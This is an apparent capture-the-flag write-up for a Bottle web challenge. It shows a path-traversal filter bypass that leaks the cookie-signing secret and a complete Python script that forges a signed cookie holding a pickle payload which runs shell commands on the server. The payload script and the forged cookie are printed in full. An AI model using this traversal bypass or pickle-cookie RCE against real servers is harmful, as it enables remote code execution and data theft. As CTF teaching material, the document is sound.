A total of 2941 characters, expected to take 8 minutes to complete reading.
Title
Give the source code:
# -*- encoding: utf-8 -*-
'''
@File : main.py
@Time : 2025/03/28 22:20:49
@Author : LamentXU
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
secret = f.read()
app = Bottle()
@route('/')
def index():
return '''HI'''
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data
@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='0.0.0.0', port=8080, debug=False)
A hint is also given at the back: don't burst uuid! Think about how RCE server?
Ideas
Seeing that lines 11 to 12 of the code read the secret.txt file, now we don't know what the use of this secret is, but we certainly still wonder if we can get it?
The following route /download
There is an arbitrary download vulnerability and we visit /download?filename=xxx
You can download the xxx file. Some code is filtered here to prevent crossing directories, but we can use ./.././../secret.txt
bypass ../../
. Then we got the key:
In /secret
Under the page, according to the topic prompt, can RCE? We see session = request.get_cookie("name", secret=secret)
, this line loads the cookie, and we already know the secret, is it related to this?
Let's take a look Bottle How does the framework achieve this? get_cookie
of the function:
I used it here Pickle to deserialize! We all know Pickle may cause a deserialization vulnerability, No, look here. .
Therefore, we just need to put the RCE code into the cookie!
We can try to imitate Bottle of the framework set_cookie()
function to write the payload:
Code that builds the cookie by serializing and signing it:
import pickle
import base64
import hmac
import hashlib
import subprocess
# 从 Bottle 框架提取的函数
unicode = str
def tob(s, enc='utf8'):
if isinstance(s, unicode):
return s.encode(enc)
return b'' if s is None else bytes(s)
def touni(s, enc='utf8', err='strict'):
if isinstance(s, bytes):
return s.decode(enc, err)
return unicode("" if s is None else s)
secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"
# pickle 反序列化漏洞函数 执行 eval
class Exploit:
def __reduce__(self):
return (eval, ("__import__('os').system('cat /flag_* > /test')", ))
encoded = base64.b64encode(pickle.dumps({'name': Exploit()}, -1))
sig = base64.b64encode(hmac.new(tob(secret), encoded, hashlib.sha256).digest())
value = touni(tob('!') + sig + tob('?') + encoded)
print(value)
Here we executed cat /flag_* > /test
command, will flag Written /test
In the file. As for why we don't read it directly, we don't know the flag name. So I get the cookie !RXIH977aUmGvq+EmAkbp5aQunq/ADev8dBKbqLYmD90=?gAWVVQAAAAAAAAB9lIwEbmFtZZSMCGJ1aWx0aW5zlIwEZXZhbJSTlIwvX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2NhdCAvZmxhZ18qID4gL3Rlc3R0JymUhZRSlHMu
, and visit /secret
Error:
Then read any file download?filename=./.././../test
You can get the flag!
Payload
import pickle
import base64
import hmac
import hashlib
import subprocess
# 从 Bottle 框架提取的函数
unicode = str
def tob(s, enc='utf8'):
if isinstance(s, unicode):
return s.encode(enc)
return b'' if s is None else bytes(s)
def touni(s, enc='utf8', err='strict'):
if isinstance(s, bytes):
return s.decode(enc, err)
return unicode("" if s is None else s)
secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"
# pickle 反序列化漏洞函数 执行 eval
class Exploit:
def __reduce__(self):
return (eval, ("__import__('os').system('cat /flag_* > /test')", ))
encoded = base64.b64encode(pickle.dumps({'name': Exploit()}, -1))
sig = base64.b64encode(hmac.new(tob(secret), encoded, hashlib.sha256).digest())
value = touni(tob('!') + sig + tob('?') + encoded)
print(value)